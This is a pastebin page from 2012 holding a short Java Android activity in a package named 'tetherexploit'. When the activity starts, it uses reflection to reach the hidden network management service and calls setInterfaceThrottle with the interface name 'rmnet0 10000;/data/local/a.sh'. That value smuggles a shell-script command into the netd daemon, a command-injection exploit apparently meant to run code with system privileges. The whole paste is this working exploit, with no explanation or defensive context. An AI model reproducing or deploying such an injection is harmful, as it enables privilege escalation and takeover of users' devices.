Don't like ads? PRO users don't see any ads ;-)

netdさんに謎の文字列送信

By: goroh_kun on Mar 12th, 2012  |  syntax: Java  |  size: 1.68 KB  |  hits: 166  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. package com.gmail.goroh.kun.tools.tetherexploit;
  2.  
  3. import java.lang.reflect.Method;
  4. import android.app.Activity;
  5. import android.os.Bundle;
  6. import android.os.IBinder;
  7.  
  8. public class TetheringExploitActivity extends Activity {
  9.     private void test1() {
  10.         try {
  11.                         Class ServiceManager = Class.forName("android.os.ServiceManager");
  12.                         Method getService_method = ServiceManager.getMethod("getService", new Class[]{String.class});
  13.                         System.out.println("ServiceManager="+ServiceManager);
  14.                         System.out.println("getService_method="+getService_method);
  15.                         IBinder b = (IBinder)getService_method.invoke(null, new Object[]{"network_management"});
  16.                         System.out.println("b="+b);
  17.                         Class stub = Class.forName("android.os.INetworkManagementService$Stub");
  18.                         System.out.println("stub="+stub);
  19.                         Method asInterface_method = stub.getMethod("asInterface", new Class[]{IBinder.class});
  20.                         System.out.println("asInterface_method="+asInterface_method);
  21.                         Object nw = asInterface_method.invoke(null, new Object[] {b});
  22.                         System.out.println("nw="+nw);
  23.                         Method setInterfaceThrottle_method = nw.getClass().getMethod("setInterfaceThrottle", new Class[]{String.class, int.class, int.class});
  24.                         System.out.println("setInterfaceThrottle=" + setInterfaceThrottle_method);
  25.                         String param1 = "\"rmnet0 10000;/data/local/a.sh\"";
  26.                         setInterfaceThrottle_method.invoke(nw, new Object[]{param1, 1, 1});
  27.                        
  28.                 } catch (Exception e) {
  29.                         e.printStackTrace();
  30.                 }
  31.     }
  32.  
  33.         /** Called when the activity is first created. */
  34.     @Override
  35.     public void onCreate(Bundle savedInstanceState) {
  36.         super.onCreate(savedInstanceState);
  37.         setContentView(R.layout.main);
  38.         test1();
  39.     }
  40. }